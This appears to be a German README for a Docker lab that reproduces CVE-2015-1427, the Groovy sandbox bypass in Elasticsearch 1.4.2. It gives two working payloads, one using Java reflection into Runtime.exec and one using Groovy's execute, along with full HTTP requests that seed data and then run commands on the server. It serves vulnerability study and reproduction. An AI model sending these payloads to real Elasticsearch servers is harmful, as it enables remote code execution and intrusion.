
Docker-basierte Lab-Umgebung für CVE-2015-1427 ElasticSearch Groovy Sandbox-Umgehung und Remote-Code-Ausführung, die zwei POC-Methoden mit Java-Reflection und Groovy-Befehlsausführung demonstriert.
JRE Version: openjdk:8-jre
Elasticsearch Version: v1.4.2
Referenzen:
Nach CVE-2014-3120 änderte ElasticSearch die standardmäßige dynamische Skriptsprache auf Groovy und fügte eine Sandbox hinzu, unterstützt aber weiterhin standardmäßig die direkte Ausführung dynamischer Sprachen. Diese Schwachstelle: 1. ist eine Sandbox-Umgehung; 2. ist eine Groovy-Code-Ausführungs-Schwachstelle.
ElasticSearch unterstützt die Verwendung von Groovy in einer "Sandbox" als dynamisches Skript, aber die Arbeit der offiziellen Entwickler war offensichtlich nicht ausreichend. Lupin und Tang3 haben jeweils zwei Methoden zur Ausführung von Befehlen vorgeschlagen:
Daher können wir basierend auf diesen beiden Ansätzen zwei verschiedene PoCs erhalten.
Java-Sandbox-Umgehung:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Groovy-Direktausführung:
def command='id';def res=command.execute().text;res
Build und Ausführung der Testumgebung:
docker-compose build
docker-compose up -d
Da für die Abfrage mindestens ein Dateneintrag im ES vorhanden sein muss, senden Sie das folgende Paket, um einen Eintrag hinzuzufügen:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Senden Sie dann ein Paket mit dem Payload, um beliebige Befehle auszuführen:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
